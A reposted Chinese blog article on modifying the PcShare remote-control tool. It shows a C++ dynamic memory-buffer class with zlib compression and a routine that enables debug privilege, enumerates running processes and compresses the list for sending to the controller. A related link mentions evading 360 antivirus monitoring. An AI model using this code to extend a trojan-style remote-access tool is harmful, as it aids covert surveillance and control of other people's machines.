当前位置:七道奇文章资讯安全技术网络技术
日期:2009-06-14 18:06:00  来源:本站整理

PcShare改革利用内存流[网络技术]

赞助商链接



  本文“PcShare改革利用内存流[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
仿delphi的MemoryStram的内存流类CIOBuffer,可以动态增长缓冲区大小,支持zlib紧缩和解紧缩,用来替换pcshare里固定2M数据交换区,以及写入文件再紧缩的办法

#ifndef _IOBUFFER_H__
#define _IOBUFFER_H__

#define MEMORY_DELTA 0x2000 //8KB

class CIOBuffer 
{
public:
CIOBuffer();
virtual ~CIOBuffer();

public:
void     ZeroBuffer();                                    //数据清零

LPBYTE   GetCurPos();                                     //返回当前点(数据尾)
operator LPBYTE() const;                                  //取数据

BOOL     IsEmpty() const;                                 //能否数据为空
UINT     GetDataSize() const;                             //返回已有数据长度
void     SetDataSize(UINT uSize);                         //设置已有数据长度
UINT     GetCurrPos() const;                              //返回当前点位置 
void     SetCurrPos(UINT uPos);                           //设置当前点位置
UINT     Seek(UINT lOff, UINT nFrom);
UINT     SeekToBegin();
UINT     SeekToEnd();

UINT     ReadBuffer(LPBYTE lpBuf, UINT uCount);           //从当前位置开始读数据
UINT     WriteBuffer(const LPBYTE lpBuf, UINT uCount);    //从当前位置开始写数据
BOOL     SetCapacity(UINT uNewCapacity);                  //设置动态内存大小

// Use the buffer with the ZLib compression library
BOOL     Compress(BOOL bBestSpeed = FALSE);               //紧缩缓冲区中数据
BOOL     Decompress(DWORD nSuggest = 0);                 //解紧缩缓冲区中数据
private:
LPBYTE m_pbinData;
UINT   m_uCapacity; //当前内存大小
UINT   m_uDataSize; //当前数据长度
UINT   m_uCurrPos; //当前读写位置

BOOL ReAlloc(UINT& uNewCapacity);
};

目前用起来很爽了,清空缓冲区,写入数据到缓冲区,紧缩缓冲区,发送缓冲区里紧缩过的数据就OK了
void CPsProcessTrans::GetProcessList(CIOBuffer* pBuf, LPMSGHEAD lpMsgHead)
{
HANDLE m_Sys = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(m_Sys == NULL)
{
   lpMsgHead->dwCommand = GET_PROCESS_LIST_ERR;
   lpMsgHead->dwDataLen = 0;
   return;
}

PROCESSENTRY32 m_Lppe = {0};
m_Lppe.dwSize = sizeof(PROCESSENTRY32);
if(!Process32First(m_Sys,&m_Lppe))
{
   lpMsgHead->dwCommand = GET_PROCESS_LIST_ERR;
   lpMsgHead->dwDataLen = 0;
   CloseHandle(m_Sys);
   return;
}

// 给列举的进程增添SE_DEBUG_NAME权限便可:
HANDLE hToken;              // handle to process token 
TOKEN_PRIVILEGES tkp;       // pointer to token structure 
OpenProcessToken(GetCurrentProcess(),
   TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken); 
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, 
&tkp.Privileges[0].Luid); 
tkp.PrivilegeCount = 1; // one privilege to set    
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
AdjustTokenPrivileges(hToken, FALSE, &tkp, 
   0, (PTOKEN_PRIVILEGES) NULL, 0);

PROCESSLIST m_ProcessList;
pBuf->ZeroBuffer();//清空缓冲区
do
{
   memset(&m_ProcessList, 0, sizeof(PROCESSLIST));
   m_ProcessList.cntThreads = m_Lppe.cntThreads;
   m_ProcessList.pcPriClassBase = m_Lppe.pcPriClassBase;
   m_ProcessList.th32ProcessID = m_Lppe.th32ProcessID;
   strcpy(m_ProcessList.szExeFile,m_Lppe.szExeFile);
   if(strrchr(m_ProcessList.szExeFile, ’\\’) == NULL)
    GetMoudleMame(m_ProcessList.th32ProcessID, m_ProcessList.szExeFile);
   //写入缓冲区
   pBuf->WriteBuffer((LPBYTE)&m_ProcessList,sizeof(PROCESSLIST));
}while(Process32Next(m_Sys,&m_Lppe));

//紧缩缓冲区
lpMsgHead->dwCommand = 0;
lpMsgHead->dwRawLen = pBuf->GetDataSize();//紧缩前长度
pBuf->Compress(TRUE);
lpMsgHead->dwDataLen = pBuf->GetDataSize();//紧缩后长度

  以上是“PcShare改革利用内存流[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
  • PCSHARE过360服务项监控
  • PcShare改革利用内存流
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .